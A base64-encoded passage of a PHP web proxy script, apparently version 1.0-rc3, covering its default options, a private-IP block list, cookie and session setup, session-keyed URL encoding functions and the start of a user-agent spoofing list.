SgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc3RyKDMwKTsNCgkkX1NFU1NJT05bJ3Nlc3NwcmVmJ109JHNlc3NwcmVmOw0KfQ0KZWxzZSAkc2Vzc3ByZWY9JF9TRVNTSU9OWydzZXNzcHJlZiddOw0KDQppZihlbXB0eSgkX0NPT0tJRVsndXNlciddKSl7DQoJJGNvb2twcmVmPWdlbl9yYW5kc3RyKDEyKTsNCglkb3NldGNvb2tpZSgndXNlcicsJGNvb2twcmVmKTsNCn0NCmVsc2UgJGNvb2twcmVmPSRfQ09PS0lFWyd1c2VyJ107DQoNCmRlZmluZSgnU0VTU19QUkVGJywkc2Vzc3ByZWYpOw0KZGVmaW5lKCdDT09LX1BSRUYnLCRjb29rcHJlZik7DQpkZWZpbmUoJ0NPT0tJRV9TRVBBUkFUT1InLCdfXycuQ09PS19QUkVGLidfXycpOw0KdW5zZXQoJHNlc3NwcmVmLCRjb29rcHJlZik7DQoNCmlmKEZJUlNUX0xPQUQpew0KCWlmKERFRkFVTFRfVVJMX0ZPUk0pIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3VybF9mb3JtJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9DT09LSUVTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9SRU1PVkVfUkVGRVJFUikgZG9zZXRjb29raWUoQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInLHRydWUpOw0KCWlmKERFRkFVTFRfUkVNT1ZFX1NDUklQVFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJyx0cnVlKTsNCglpZihERUZBVUxUX1JFTU9WRV9PQkpFQ1RTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX1VSTFMpIGRvc2V0Y29va2llKENPT0tfUFJFRi4nX2VuY3J5cHRfdXJscycsdHJ1ZSk7DQoJaWYoREVGQVVMVF9FTkNSWVBUX0NPT0tTKSBkb3NldGNvb2tpZShDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJyx0cnVlKTsNCn0NCg0KIyB9fX0NCg0KIyBFTlZJUk9OTUVOVCBTRVRVUCB7e3sNCg0KZ2xvYmFsICRwb3N0YW5kZ2V0LCRibG9ja2VkX2FkZHJlc3NlcywkZG5zX2NhY2hlX2FycmF5Ow0KJHBvc3RhbmRnZXQ9YXJyYXlfbWVyZ2UoJF9HRVQsJF9QT1NUKTsNCg0KZGVmaW5lKCdQQUdFVFlQRV9NSU5JUkVHRVhQJywnKD1bX1wuXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWD